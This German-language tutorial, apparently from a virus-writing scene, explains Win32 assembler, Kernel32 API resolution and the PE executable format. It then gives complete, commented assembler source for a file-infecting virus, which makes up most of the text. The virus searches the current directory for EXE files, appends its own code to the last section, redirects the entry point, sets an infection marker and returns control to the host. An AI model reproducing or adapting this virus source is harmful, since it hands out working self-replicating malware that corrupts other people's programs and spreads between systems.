Win32 Viren by SnakeByte [ SnakeByte@kryptocrew.de ] Endlich ist es soweit und ich habe wieder etwas Zeit für ein Tutorial. Diesmal geht es um Viren unter Windows. Nach so einem Tutorial wurde ich des öfteren gefragt, da es um einiges "aktueller" ist als Dos-Viren. Was gibt es also neues ? 1.) Win32-Bit Assembler 2.) Die Api's 3.) PE-Exe Format 1.) Win32-Bit Assembler Die Programmiersprache ist etwas anders, es gibt jetzt 32-Bit Register die durch ein vorangestelltes 'e' gekennzeichnet werden ( eax, ebx, ecx.. ) Die alten Register sind aber weiterhin nutzbar. Dazu kommen die API's, die die alten Interrupts ersetzen. Auch ist es nun nicht mehr möglich direkt auf Geräte ( Lautsprecher etc ) zuzugreifen, da normalerweise alle Programme auf Ring-3 ebene laufen. Das System selber und alle Gerätetreiber ( .Vxd ) laufen auf Ring-0 und haben dieses Privileg. Auch die SEH's ( Structural Error Handler ) schränken die Freiheit unter Windows ein, diese Fenster werden dann angezeigt, wenn zum Beispiel durch Null geteilt wird oder man auf nicht freigegebene Speicherbereiche zugegriffen wird. Borland TASM 5.0 eignet sich auch weiterhin als Compiler / Linker, allerdings müssen nun TASM32 und TLINK32 verwendet werden. TD32 ist der entsprechende Debugger. Das soll an dieser Stelle erstmal alles zu Win32-Bit Programmierung sein, ich bin allerdings dabei ein Win32-ASM Tutorial vorzubereiten ( kann aber noch etwas dauern.. ;) 2.) Die Api's Wie eben schon erwähnt ersetzen die API's die alten Interrupts. Wo unter DOS die INT's bzw. die Anfangsaddressen im Speicher lagen ist klar ( INT-Nr. * 4 ), allerdings konnten sie auch direkt über einen Opcode wie z.B. INT 03h ( 0CCH ) aufgerufen werden, so das man sich um die Addressen nicht zu kümmern brauchte. In Windows ist dies allerdings anders. Die API's sind exportierte Funktionen aus den verschiedensten DLL-Dateien ( Kernel32.dll und User32.dll sind die am häufigsten gebrauchten ) Wenn Windows nun beim hochfahren die Kernel32.dll lädt, ist diese unter Win9x an einem festen Punkt, jedoch nicht unter NT. Wiso ist die Addresse wichtig ? Den API's ist unter Windows nicht ein fester Opcode zugeordnet, wie dies unter DOS mit den Int's der Fall ist. Beim Ausführen einer PE-Exe wird in der Import-Table der EXE gelesen und dann in einen festgelegten Bereich die Addressen der API's geschrieben. Im Code ist dann ein call zu dieser Addresse. z.B.: [...] call MessageBoxA ; wir rufen den API auf [...] MessageBoxA: jmp xxxxxxxx ; dies ist ein Sprung in die User32.dll, die diesen API enthält Das xxxxxxxx wird dann beim Start durch den Anfangspunkt des API's im Speicher ersetzt. Wie kommt nun ein Virus an die Startaddressen der API's im Kernels ? Man braucht im Grunde nur 2 API's um alle anderen zu erhalten: GetProcAddress - Gibt den Anfangspunkt einer beliebigen DLL GetModuleHandle - Gibt den Anfangspunkt eines API's Beide API's sind in der Kernel32.dll vorhanden. Zuerst versuchte man durch fixe Werte der Kernel32.dll diese API's zu ermitteln, jedoch führte die unter den verschiedenen Windows-Versionen zu Fehlern. Danach ging man dazu über die beiden aus der Import-Table der eigenen, infizierten Datei zu ermitteln, jedoch schlug dies fehl wenn die EXE diese beiden API's nicht verwendete. Nun aber zu dem besten Weg um an die Anfangsaddresse der Kernel32.dll zu kommen um dann in ihrer Export-Tabelle nach den beiden API's zu suchen. Wenn eine Datei ausgeführt wird geschieht dies über den CreateProcess API, der auch in der Kernel32.dll enthalten ist. Wenn eine Datei nun ausgeführt wird, liegt der Rücksprungspunkt zu dieser Prozedur auf dem Stack. -------8<----------------- .486P .Model Flat ,StdCall extrn ExitProcess:PROC ; Hier deklarieren wir die benötigten API's ; ExitProcess beendet die Ausführung .Data db 0h ; der Bereich für die Daten .Code Main: ret ; hier springen wir zurück in den CreateProcess End Main -------8<----------------- Dieser Code läuft einwandfrei und kehrt einfach direkt nach dem Start zurück in den CreateProcess. Zuerst holen wir nun die Addresse aus dem Stack und runden sie, da DLL's immer an runde Speicherpostitionen geladen werden. mov eax, [esp] xor ax, ax Nun haben wir in eax möglicherweise die Addresse des Kernels. Dies testen wir, indem wir auf das altbekannte "MZ" testen, das auch die PE-EXE Dateien, wie sie DLL's auch sind einleitet. Mehr Code dazu später... 3.) PE-Exe Format Unter Windows gibt es ein neues Dateiformat, die PE-EXE. Nur zur Information: Win 3.1 und die Vorgänger hatten schon ein neues Format, die NE ( New Executable ) Exe Datei, aber diese war für uns nicht so wichtig ;) Die PE-Exe wird unter Windows nicht nur für EXE-Dateien sondern auch für .scr, .dll, .vxd, .ocx... verwendet. Die PE-Exe ( Portable Executable ) hat, hat grob folgende Struktur: Dos-Stub PE-Header Section-Table Code / Daten / etc.. ( die einzelnen Sections ) Fangen wir vorne an. Der Dos-Stub ist genau das gleiche wie der DOS-Exe Header, er ist dazu da, damit die Dateien auch unter Dos ausführbar bleiben und dem verduzten User mitgeteilt wird "This program cannot be run in DOS mode", damit er weiß das er es hier mit einer Windows Datei zu tun hat ( Kann auch anders lauten, ist vom Compiler zu Compiler verschieden. ) Der Dos Header interessiert uns eigentlich nur nebensächlich, da er uns den Start des PE-Headers angibt und das MZ-Zeichen enthält. An Offset 3Ch des Dos-Stubs finden wir das Offset des PE-Headers. Dieses Offset des PE-Headers ist auch vom Compiler abhängig. Auch das MZ sollte vor einer Infektion überprüft werd, damit sicher ist das es sich um eine EXE-Datei handelt. ( evtl. noch testen ob der erhaltene Offset auch innerhalb der Datei liegt und sie nicht evtl. beschädigt ist ). Der PE-Header fängt mit einem 'PE',0h,0h an ( also 50540000h ). Dieses müsst ihr überprüfen, wenn ihr nicht bei alten ( Dos / NE ) Exe-Dateien in Probleme geraten wollt. Hier einfach mal alle wichtigen Stellen des PE-Headers, ich werde nachher auf die einzelnen noch einmal eingehen. Die Offsets sind alle relativ zum Anfang des PE Headers ! 00h Magic Value ( "PE",0,0 ) 06h Number of Sections 16h Characteristics 28h Entrypoint ( Initial EIP ) 34h Image Base 38h Section Alignment 4Ch Reserved ( 0 ) Magic Value ( "PE",0,0 ) Sollte klar sein, habe ich oben schon erklärt. Number of Sections Die Anzahl der einzelnen Abschnitte der Datei ( Code, Data, Whatever .. ;) Wir brauchen diese Anzahl, um den Section Header des letzten Abschnittes zu ermitteln, da wir in diesen unseren Virus schreiben wollen. Characteristics Gibt an, ob es sich evtl. um eine DLL Datei handelt. Diese sollten wir nicht infizieren. mov bx, word ptr [edi] ; edi zeigt auf das Feld and bx, 0F000h ; wir checken nur das DLL Feld cmp bx, 02000h ; bleib eine 200 übrig je GotaDLL ; haben wir eine DLL Entrypoint Das ist der Punkt an dem der Code anfängt ( später unser Virus ) Image Base Wenn eine EXE Datei geladen wird, wird sie von Windows an den Speicherbereich geladen, der hier angegeben ist. Alle andereren Adressangaben im Header sind immer relativ zum Anfang der Datei. Wenn die Datei geladen wird wird die Imagebase zu den Adressen addiert, so das man die Adresse im Speicher enthält. ( Wenn wir die Datei in den Speicher laden müssen wir diese Werte natürlich auch angleichen ) Section Alignment Dies ist der Wert auf den die Sektionen & die Datei gerundet werden müssen. Reserved ( 0 ) Ein unbenutztes Feld, perfekt für unsere Infektionsmarke ;) Ok, nun etwas zur Section Table. Die Section Table enthält Informationen über den Abschnitt der Datei. So können zum Beispiel Flags gesetzt werden, ob der Abschnitt lesbar, beschreibbar oder ausführbar ist. ( Die .Code Sektion ist normalerweise _nicht_ beschreibbar ! ) Diesmal sind die Offsets relativ zum Start der Section Table. 08h Virtual Size ( Größe der Sektion ) 0Ch Virtual Address ( Start der Sektion ) 10h Size of Raw Data 14h Pointer to Raw Data 24h Characteristics ( Flags ) Virtual Size Echte Größe der Sektion Virtual Address Wenn man die Startadresse einer Sektion im Speicher herausfinden will, addiert man zu diese Adresse, die Imagebase Size of Raw Data Gerundete Größe der Sektion Pointer to Raw Data Offset der Sektion in relation zum Anfang der Datei Characteristics Dieses Feld enthält Flags, die angeben, was mit dieser Sektion geschehen darf. Hier einmal die für uns wichtigen: 20h Code 20000000h darf ausgeführt werden 40000000h lesbar 80000000h beschreibbar Welche dieser Felder sollte ein Virus normalerweise ändern ? PE-Header: Entrypoint, Reserved Sec-Table: Virtual Size, Size of Raw Data, Characteristics Das sollte soweit als Erklärung reichen, hier mal den Quellcode eines simplen Viruses, ich hoffe die Kommentare sollten alles weitere erklären. ; *************************************************************************** ; ---------------------------[ Hier starten wir ]---------------------------- ; *************************************************************************** .586p .model flat jumps ; Jumps werden berechnet .radix 16 ; Alle Nummern sind Hexadezimal ; ein paar API's extrn ExitProcess:PROC ; Fake-host für die 1. Generation extrn MessageBoxA:PROC ; Zum Testen, damit man nicht immer gleich zum debugger ; greifen muss .data ; Pseudo-Data, da TASM dies hier sonst nicht db ? ; kompilieren würde, wir speichern alle Daten in der ; Code Sektion. Aus diesem Grund müssen wir nach dem ; Compilieren PEWRSEC benutzen damit wir auch Lesezugriff ; auf die Code Sektion haben ! ; Zwei Konstanten die ich nicht selber berechnen will ;) VirusSize equ (offset VirusEnd - offset Virus ) Buffersize equ (offset EndBufferData - offset VirusEnd ) ; Struktur die wir für die FindFirstFile / Next brauchen FILETIME STRUC FT_dwLowDateTime dd ? FT_dwHighDateTime dd ? FILETIME ENDS .code ; *************************************************************************** ; -----------[ Delta Offset Berechnung und suchen nach dem Kernel ]---------- ; *************************************************************************** Virus: ; Hier starten wir call Delta ; Alte Methode um den Delta Offset zu berechnen, ; damit die Offsets relativ sind Delta: pop ebp ; durch den Call legen wir die momentane Adresse auf den Stack sub ebp, offset Delta ; subtrahieren, die Originaladresse und errechnen so unseren ; Relationsfaktor in ebp ; Wir speichern diese beiden Werte ( EIP & Imagebase ) ; um später zu dem Code der infizierten Datei springen zu können mov eax, dword ptr [ebp+OldEIP] mov dword ptr [ebp+retEIP], eax mov eax, dword ptr [ebp+OldBase] mov dword ptr [ebp+retBas], eax mov esi, [esp] ; wir lesen die return Adresse des Create Process API aus dem xor si, si ; Stack und runden ihn auf eine volle Page call GetKernel ; Prozedur die den Kernel testet jnc GetApis ; Falls wir den Kernel haben, suchen wir nach den API's ; Wenn nicht, suchen wir nach dem Kernel ; an mehreren fixen Adressen ; Doch sollte der obige Weg meistens klappen mov esi, 0BFF70000h ; Win95 Kernel Adresse testen call GetKernel jnc GetApis mov esi, 077F00000h ; WinNT Kernel Addy call GetKernel jnc GetApis mov esi, 077e00000h ; Win2k Kernel Addy call GetKernel jnc GetApis ; wenn wir den Kernel immernoch nicht jmp ExecuteHost ; gefunden haben starten wir die infizierte Datei ; *************************************************************************** ; ---------------[ Suchen nach der Adresse des Kernels ]--------------------- ; *************************************************************************** GetKernel: ; Wir suchen nach dem Kernel ; Wir durchsuchen maximal 5 Pages mov byte ptr [ebp+K32Trys], 5h GK1: cmp byte ptr [ebp+K32Trys], 00h jz NoKernel ; Sind wir an unserem Limit vorbei ? call CheckMZSign ; Hat diese Page einen EXE-Header ( Stub ) jnc CheckPE GK2: sub esi, 10000h ; Suchen nach der nächsten Page dec byte ptr [ebp+K32Trys] jmp GK1 ; Start des Tests CheckPE: ; Testen ob es auch eine Win32Bit EXE ist mov edi, [esi+3Ch] ; da die Kernel32.dll auch eine PE-EXE ist add edi, esi call CheckPESign jnc CheckDLL ; nun testen wir noch ob wir eine DLL gefunden haben jmp GK2 CheckDLL: add edi, 16h ; suchen nach dem Flag mov bx, word ptr [edi] ; Characteristics laden and bx, 0F000h ; DLL Flag raussuchen cmp bx, 02000h ; und testen ob es gesetzt ist jne GK2 ; wenn es keine DLL ist suchen wir weiter KernelFound: ; Wir haben den Kernel gefunden ! sub edi, 16h ; edi wird auf den PE - Header gesetzt xchg eax, edi ; PE Adresse wird in eax gespeichert xchg ebx, esi ; MZ Adresse in ebx clc ; löschen des Carriage Flags ret ; Rückkehr NoKernel: ; wenn wir den Kernel nicht gefunden haben, stc ; löschen wir das Carriage Flag und beenden die Prozedur ret K32Trys db 5h ; Suchweite ; *************************************************************************** ; -------------------------[ Suchen nach den API's ]------------------------- ; *************************************************************************** ; Diese 2 API's suchen wir im Kernel. ; Wir brauchen diese beiden um alle anderen APIs zu ermitteln ; Ich bevorzuge LoadLibraryA zu GetModuleHandle, ; weil es nun nicht mehr nötig ist, das die infizierte Datei ; auch API's aus den DLL's die wir brauchen läd, denn ; wir laden sie selbst,... ;) LL db 'LoadLibraryA', 0h ; Diese beiden API's suchen wir GPA db 'GetProcAddress', 0h GetApis: ; Offset des Kernel32.dll PE-Headers ist in EAX mov [ebp+KernelAddy], eax ; Speichern mov [ebp+MZAddy], ebx lea edx, [ebp+LL] ; Zeiger auf den Namen der LoadLibaryA - API mov ecx, 0Ch ; Länge des Namens call SearchAPI1 ; such ihn ! mov [ebp+XLoadLibraryA], eax ; Adresse speichern xchg eax, ecx ; Wenn wir einen der beiden API's nicht ermitteln können jecxz ExecuteHost ; starten wir das infizierte Prog lea edx, [ebp+GPA] ; Name der GetProcAddress - API mov ecx, 0Eh ; Länge call SearchAPI1 mov [ebp+XGetProcAddress], eax xchg eax, ecx ; testen ob wir ihn haben jecxz ExecuteHost ; Nun haben wir alle API's die wir brauchen und können jmp GetAPI2 ; alle anderen ermitteln KERNEL32 db 'Kernel32',0 ; jaja, den jump hätte man weglassen können, aber so ist ; es übersichtlicher ! GetAPI2: ; Wir bekommen die anderen API's durch das ermitteln der ; DLL um dann die API's selber zu lokalisieren ; Wir ermitteln die Handles durch ; Aufruf der LoadLibrary API.. :) ; falls das schiefläuft starten wir ; die Originaldatei lea eax, [ebp+KERNEL32] push eax call dword ptr [ebp+XLoadLibraryA] mov [ebp+K32Handle], eax test eax, eax jz ExecuteHost lea esi, [ebp+Kernel32Names] lea edi, [ebp+XFindFirstFileA] mov ebx, [ebp+K32Handle] push NumberOfKernel32APIS pop ecx call GetAPI3 jmp Outbreak ; *************************************************************************** ; ---------[ Durchsuchen der Kernel Export Table nach API's ]---------------- ; *************************************************************************** SearchAPI1: ; In dieser Prozedur suchen wir nach den 2 Hauptapi's ; Counter löschen and word ptr [ebp+counter], 0h mov eax, [ebp+KernelAddy] ; PE-Header Offset laden mov esi, [eax+78h] ; Export Table Address ermitteln add esi, [ebp+MZAddy] ; aus der relativen Adresse eine absolute machen add esi, 1Ch ; nicht benötigten Daten werden übersprungen lodsd ; Die Address Table ermitteln add eax, [ebp+MZAddy] ; zu einem absoluten Wert umrechnen und speichern mov dword ptr [ebp+ATableVA], eax lodsd ; Name Pointer Table ermitteln, add eax, [ebp+MZAddy] ; umrechnen und speichern mov dword ptr [ebp+NTableVA], eax lodsd ; Ordinal Table ermitteln, add eax, [ebp+MZAddy] ; und... rate mal ;) mov dword ptr [ebp+OTableVA], eax mov esi, [ebp+NTableVA] ; Name Pointer Table Addy in esi laden SearchNextApi1: push esi ; auf den Stack legen lodsd add eax, [ebp+MZAddy] ; und auf eine absolute Adresse umrechnen mov esi, eax ; API Name in der Kernel Export API in esi mov edi, edx ; API die wir suchen in edi push ecx ; Länge speichern cld ; Direction flag löschen rep cmpsb ; Vergleichen pop ecx jz FoundApi1 ; Sind sie gleich ? pop esi ; Name Pointer Table laden add esi, 4h ; Zeiger auf nächsten API-Namen setzen inc word ptr [ebp+counter] cmp word ptr [ebp+counter], 2000h je NotFoundApi1 ; falls wir mehr als 2000 API's getestet haben, haben wir ein ; Problem ;) jmp SearchNextApi1 ; Nächste API testen FoundApi1: pop esi ; Stack leeren ( wir wollen ja keine Buffer Overflows ; ok, wir wollen sie, aber nicht heute und nicht hier *bg* ) movzx eax, word ptr [ebp+counter] shl eax, 1h ; eax mit 2 multiplizieren ; damit eax auf den richtigen Eintrag zeigt add eax, dword ptr [ebp+OTableVA] xor esi, esi ; esi löschen xchg eax, esi ; esi zeigt nun auf den Eintrag lodsw ; Ordinal in AX laden shl eax, 2h ; eax * 4 add eax, dword ptr [ebp+ATableVA] mov esi, eax ; esi zeigt auf die Adress RVA lodsd ; eax = Adress RVA add eax, [ebp+MZAddy] ; in einen absoluten Wert umrechnen ret ; API ist nun in EAX und wir springen zurück NotFoundApi1: xor eax, eax ; Wir haben den entsprechenden API nicht gefunden :( ret ; EAX wird mit 0 als Fehlercode gefüllt ; *************************************************************************** ; -----------------------------[ API - Tabellen ]---------------------------- ; *************************************************************************** ; Hier folgt eine Tabelle der API's die wir brauchen ; Wenn du wissen willst was sie alle machen, lies die ; Win32 Programmer's Reference ; Ich werde sie hier nicht erklären ( ich denk mal die Namen ; sagen genug aus *g* ) Kernel32Names: NumberOfKernel32APIS equ 8d db 'FindFirstFileA', 0 db 'FindNextFileA', 0 db 'FindClose', 0 db 'CreateFileA', 0 db 'CloseHandle', 0 db 'CreateFileMappingA', 0 db 'MapViewOfFile', 0 db 'UnmapViewOfFile', 0 ; *************************************************************************** ; --------------[ API's mit GetProcAddress ermitteln ]----------------------- ; *************************************************************************** ; esi zeigt auf die Tablle der Names ; edi auf die offsets der API's ; ebx hat das Handel des Moduls ; ecx die Nummer der API's GetAPI3: push ecx ; ecx speichern push esi ; push Api-name push ebx ; push Module-Handle ; call GetProcAddress call dword ptr [ebp+XGetProcAddress] stosd ; Adresse des Offsets speichern pop ecx ; Haben wir alle ? dec ecx jz EndApi3 push ecx ; ansonsten legen wir ESI auf den nächsten Namen SearchZero: ; wir suchen nach dem Ende des cmp byte ptr [esi], 0h je GotZero ; API-Namens ( immer 0 ) inc esi jmp SearchZero GotZero: inc esi pop ecx ; Anzahl der restlichen APIs laden jmp GetAPI3 ; nächsten API ermitteln EndApi3: ret ; *************************************************************************** ; ---------------------[ Outbreak ! lasst uns infizieren ]------------------- ; *************************************************************************** Outbreak: ; Nun haben wir alles was wir brauchen um ein ; paar Dateien zu infizieren ;) mov [ebp+InfCounter], 10d ; Wir wollen max. 10 Dateien infizieren ; *************************************************************************** ; ---------------[ Infektion des momentanen Verzeichnisses ]----------------- ; *************************************************************************** InfectCurDir: ; Hier infizieren wir die Dateien im Momentanen Verzeichnis ; Wir benutzen die FindFirstFile - FindNextFile API's ; um alle PE-EXE Dateien zu finden lea esi, [ebp+filemask] call FindFirstFileProc inc eax jz EndInfectCurDir1 ; Wenn wir keine Dateien finden, beenden wir die Prozedur dec eax InfectCurDirFile: ; Dateiname in ESI laden lea esi, [ebp+WFD_szFileName] call InfectFile ; Wir versuchen die Datei zu infizieren cmp [ebp+InfCounter], 0h ; Checken ob wir unser Limit an Dateien infiziert haben jna EndInfectCurDir2 call FindNextFileProc test eax, eax jnz InfectCurDirFile EndInfectCurDir2: ; Search - Handle schließen push dword ptr [ebp+FindHandle] call dword ptr [ebp+XFindClose] EndInfectCurDir1: jmp ExecuteHost InfCounter db 0h ; Counter FindHandle dd 0h ; Handle für FindFirstFile API filemask db '*.EXE', 0 ; wir suchen nach EXE - Dateien ; *************************************************************************** ; ---------------------[ Original Program ausführen ]------------------------ ; *************************************************************************** ExecuteHost: ; Wir führen das infizierte Programm aus or ebp, ebp ; Wenn dies der Virus der ersten Generation ist jz FirstGenHost ; können wir keine infizierte Datei ausführen, deshalb ; stoppen wir dies mit dem ExitProcess.. mov eax,12345678h ; Rückkehr zur alten Imagebase+EIP org $-4 retEIP dd 0h add eax,12345678h org $-4 retBas dd 0h jmp eax FirstGenHost: push 0h ; Hier beenden wir den Virus mit dem ExitProcess API's call ExitProcess ; ( nur erste Generation ) OldEIP dd 0h ; Gespeicherter Entry Point OldBase dd 0h ; Gespeicherte Imagebase NewEIP dd 0h ; Neuer EIP ( zeigt auf unseren Virus.. ) ; *************************************************************************** ; -------------------[ Infektion der Datei vorbereiten ]-------------------- ; *************************************************************************** InfectFile: ; Hier bereiten wir die Infektion vor, ; der Dateiname ist in [ebp+WFD_szFileName] ; Wir öffnen sie und überprüfen, ob wir ; die Datei infizieren können ; esi zeigt auch auf den Dateiname ; Wenn die Datei kleiner als ; 200 Bytes ist wird sie nicht überprüft cmp dword ptr [ebp+WFD_nFileSizeLow], 200d jbe NoInfection ; Wir infizieren auch keine Dateien, die größer als 4,3 GB sind cmp dword ptr [ebp+WFD_nFileSizeHigh], 0 jne NoInfection call OpenFile ; Datei öffnen jc NoInfection ; Wenn es Probleme gibt, beenden wir dies mov esi, eax call CheckMZSign ; Wir machen nur weiter wenn der DOS-Stub existiert jc Notagoodfile cmp word ptr [eax+3Ch], 0h je Notagoodfile xor esi, esi ; Wir ermitteln den Anfang des PE-Headers mov esi, [eax+3Ch] ; Falls er ausserhalb der Datei liegt schließen wir diese wieder cmp dword ptr [ebp+WFD_nFileSizeLow], esi jb Notagoodfile add esi, eax mov edi, esi call CheckPESign ; Überprüfen ob diese Datei einen PE-Header hat jc Notagoodfile ; wir überprüfen ob unsere Infektionsmarke gesetzt ist ; --> Test cmp dword ptr [esi+4Ch], 'tseT' jz Notagoodfile mov bx, word ptr [esi+16h]; Charakteristiken der Datei aus dem PE-Header lesen and bx, 0F000h ; Dll-Flag auswählen cmp bx, 02000h je Notagoodfile ; wir wollen keine DLL Dateien infizieren mov bx, word ptr [esi+16h]; Charakteristiken erneut lesen and bx, 00002h ; Überprüfen ob wir OBJ Dateien haben cmp bx, 00002h jne Notagoodfile call InfectEXE ; Alles klar, diese Datei können wir infizieren jc NoInfection ; Falls es Fehler gibt, während ; wir die Datei neu mappen brauchen wir sie ; nicht wieder unmappen und zu schließen Notagoodfile: call UnMapFile ; Wir unmappen die Datei und schreiben dadurch ; wieder auf die Platte NoInfection: ret ; *************************************************************************** ; -------------------[ Öffnen und schließen der Dateien ]-------------------- ; *************************************************************************** OpenFile: xor eax,eax ; Wir öffnen die Dateie push eax push eax push 3h push eax inc eax push eax push 80000000h or 40000000h push esi ; Name der Datei in esi call dword ptr [ebp+XCreateFileA] inc eax jz Closed ; Falls es Fehler gibt stoppen wir hier dec eax ; Der Datei-Handle ist in eax, wir speichern ihn mov dword ptr [ebp+FileHandle],eax ; Wir mappen die Datei mit der Größe aus der Find32-Daten ; Struktur mov ecx, dword ptr [ebp+WFD_nFileSizeLow] CreateMap: ; ist die Datei schon geöffnen mappen ; wir sie in der Größe aus ecx push ecx ; Datei speichern xor eax,eax ; wir müssen ein Map erstellen um in der Lage push eax ; zu sein, sie vernünftig zu editieren push ecx push eax push 00000004h push eax push dword ptr [ebp+FileHandle] call dword ptr [ebp+XCreateFileMappingA] mov dword ptr [ebp+MapHandle],eax pop ecx ; Größe wieder laden test eax, eax ; Wenn es nen Fehler beim Mappen gab, schließen wir die jz CloseFile ; Datei wieder... xor eax,eax ; Die Datei wird gemappt.. *bla* push ecx push eax push eax push 2h push dword ptr [ebp+MapHandle] call dword ptr [ebp+XMapViewOfFile] or eax,eax ; Falls es Fehler gab, unmappen wir sie wieder jz UnMapFile ; EAX enthält den offset an dem die Datei nun liegt mov dword ptr [ebp+MapAddress],eax ; Carriage Flag wird gelöscht, da wir Erfolg hatten clc ; Datei offen --> kein flag ; Datei zu --> Carriage Flag ret UnMapFile: ; Datei wieder unmappen call UnMapFile2 CloseFile: ; und schließen push dword ptr [ebp+FileHandle] call [ebp+XCloseHandle] Closed: stc ; Carriage Flag setzen ret UnMapFile2: ; Wir müssen sie öfters unmappen um sie später ; mit mehr Platz zu mappen, damit wir den Virus ; anhängen können push dword ptr [ebp+MapAddress] call dword ptr [ebp+XUnmapViewOfFile] push dword ptr [ebp+MapHandle] call dword ptr [ebp+XCloseHandle] ret ; *************************************************************************** ; ----------------------[ Infektion der EXE-Datei ]-------------------------- ; *************************************************************************** InfectEXE: ; MapAddress enthält den Startoffset der Datei mov ecx, [esi+3Ch] ; esi zeigt auf den PE-Header ; ecx enthält nun den Alignment Faktor ; Die Größe wird in eax geladen mov eax, dword ptr [ebp+WFD_nFileSizeLow] add eax, VirusSize call Align ; nun wird die neue Größe auf den Alignment Faktor gerundet mov dword ptr [ebp+NewSize], eax xchg ecx, eax pushad ; Register speichern ; Wir schließen die Datei und laden sie mit ; der neu ermittelten Größe, so das wir unseren ; Code hinzufügen können call UnMapFile2 popad ; Register wiederherstellen call CreateMap ; Neu Mappen ; Beenden falls es Fehler gab jc NoEXE ; esi soll wieder auf den PE-Header zeigen mov esi, dword ptr [eax+3Ch] ; wieder in einen absoluten Wert umrechenen add esi, eax mov edi, esi ; edi = esi ; eax = Anzahl der Sektionen ; wir ermitteln nun die letzte Sektion, damit wir ; dort unseren Code anhängen können movzx eax, word ptr [edi+06h] dec eax imul eax, eax, 28h ; mit 28 ( der Größe der Sektion-Header ) multiplizieren, ; damit wir den letzten Sektion Header ermitteln add esi, eax ; in absolute Adresse umrechnen add esi, 78h ; Auf die Directory Table zeigen lassen mov edx, [edi+74h] ; Anzahl der Directory Entrys ermitteln shl edx, 3h ; mit 8 multiplizieren add esi, edx ; damit esi auf den letzten Eintrag zeigt ; Entry Point ermitteln und speichern, damit ; wir in der Lage sind zur Originaldatei zurückzuspringen mov eax, [edi+28h] mov dword ptr [ebp+OldEIP], eax ; Imagebase ermitteln und speichern mov eax, [edi+34h] mov dword ptr [ebp+OldBase], eax mov edx, [esi+10h] ; Größe der RAW-Data ermitteln ; die wir später vergrößern mov ebx, edx add edx, [esi+14h] ; edx = Zeiger auf raw-data push edx ; auf dem Stack speichern mov eax, ebx add eax, [esi+0Ch] ; in absolute Adresse umrechnen ; damit haben wir unsere neue EIP ( Ende der alten RAW-Data ) mov [edi+28h], eax mov dword ptr [ebp+NewEIP], eax mov eax, [esi+10h] ; Raw-Data Größe erhöhen push eax add eax, VirusSize mov ecx, [edi+3Ch] ; und runden call Align ; in der Datei als neue Größe speichern mov [esi+10h], eax pop eax ; neue Virual-Size berechnen add eax, VirusSize add eax, Buffersize mov [esi+08h], eax pop edx mov eax, [esi+10h] add eax, [esi+0Ch] ; Neue Imagesize berechnen mov [edi+50h], eax ; Sektion flags ändern, damit wir Lese & Schreibzugriff ; haben wenn die Datei ausgeführt wird ; Natürlich setzen wir auch das Code Flag.. ;) or dword ptr [esi+24h], 0A0000020h ; Wir schreiben nun noch unsere Infektionsmarke in die ; Datei, damit wir sie nicht doppelt infizieren ; --> Test mov dword ptr [edi+4Ch], 'tseT' xchg edi, edx lea esi, [ebp+Virus] ; Nun hängen wir zuguterletzt unseren Virus an add edi, dword ptr [ebp+MapAddress] mov ecx, VirusSize ; Größe in ECX, Start in esi, Datei in edi rep movsb ; Virus anhängen dec byte ptr [ebp+InfCounter] NoEXE: ; Nun beenden wir die Prozedur, und schreiben ; dann die Datei auf die Platte ( unmappen ) stc ret ; *************************************************************************** ; --------------------------[ Align-Prozedur ]------------------------------- ; *************************************************************************** ; Größe runden.. ; eax - Größe ; ecx - Rundungsbasis Align: push edx xor edx, edx push eax div ecx pop eax sub ecx, edx add eax, ecx pop edx ; eax - Neue Größe ret ; *************************************************************************** ; --------------------------[ FindFile Prozeduren ]-------------------------- ; *************************************************************************** ; Diese Prozeduren suchen nach Dateien FindFirstFileProc: lea eax, [ebp+WIN32_FIND_DATA] push eax push esi call dword ptr [ebp+XFindFirstFileA] mov dword ptr [ebp+FindHandle], eax ret FindNextFileProc: lea edi, [ebp+WFD_szFileName] mov ecx, 276d ; Wir löschen die Felder, damit wir nicht noch Überreste ; einer alten Suche drinnen haben xor eax, eax rep stosb lea eax, [ebp+WIN32_FIND_DATA] push eax mov eax, dword ptr [ebp+FindHandle] push eax call dword ptr [ebp+XFindNextFileA] ret ;**************************************************************************** ; ---------------------[ PE / MZ Marken überprüfen ]------------------------- ; *************************************************************************** ; Hier testen wir die PE und MZ Marken, damit ; wir die EXE-Dateien identifizieren können ; Diesmal bisserl anders als normal ;) CheckPESign: cmp dword ptr [edi], 'FP' ; größer oder gleich "PF" jae NoPESign cmp dword ptr [edi], 'DP' ; kleiner oder gleich "PD" jbe NoPESign clc ; Alles was überbleibt ist "PE" ret NoPESign: stc ret CheckMZSign: cmp word ptr [esi], '[M' jae NoPESign cmp word ptr [esi], 'YM' jbe NoPESign clc ret ret ; *************************************************************************** ; -------------------[ Daten die nicht mitwandern ]-------------------------- ; *************************************************************************** VirusEnd: ; Dies hier wird nicht mitwandern... K32Handle dd (?) ; Hier speichern wir das Handle der Kernel32.dll XLoadLibraryA dd (?) ; Hier die Offsets der ersten beiden API's XGetProcAddress dd (?) ; Alle anderen API - Adressen XFindFirstFileA dd (?) XFindNextFileA dd (?) XFindClose dd (?) XCreateFileA dd (?) XCloseHandle dd (?) XCreateFileMappingA dd (?) XMapViewOfFile dd (?) XUnmapViewOfFile dd (?) ; Daten für die Kernel-Suche KernelAddy dd (?) ; PE-Header MZAddy dd (?) ; MZ-Header counter dw (?) ; Wie viele Namen haben wir getestet ; Daten für die Infektion ATableVA dd (?) ; Address Table VA NTableVA dd (?) ; Name Pointer Table VA OTableVA dd (?) ; Name Pointer Table VA NewSize dd (?) ; Neue Größe der Datei ; Daten um Dateien zu finden WIN32_FIND_DATA label byte WFD_dwFileAttributes dd ? WFD_ftCreationTime FILETIME ? WFD_ftLastAccessTime FILETIME ? WFD_ftLastWriteTime FILETIME ? WFD_nFileSizeHigh dd ? WFD_nFileSizeLow dd ? WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db 260d dup (?) WFD_szAlternateFileName db 13 dup (?) WFD_szAlternateEnding db 03 dup (?) FileHandle dd (?) ; Handle der Datei MapHandle dd (?) ; Handle der Map MapAddress dd (?) ; Offset der Map EndBufferData: ; *************************************************************************** ; ------------------------[ Das wars für heute ]----------------------------- ; *************************************************************************** end Virus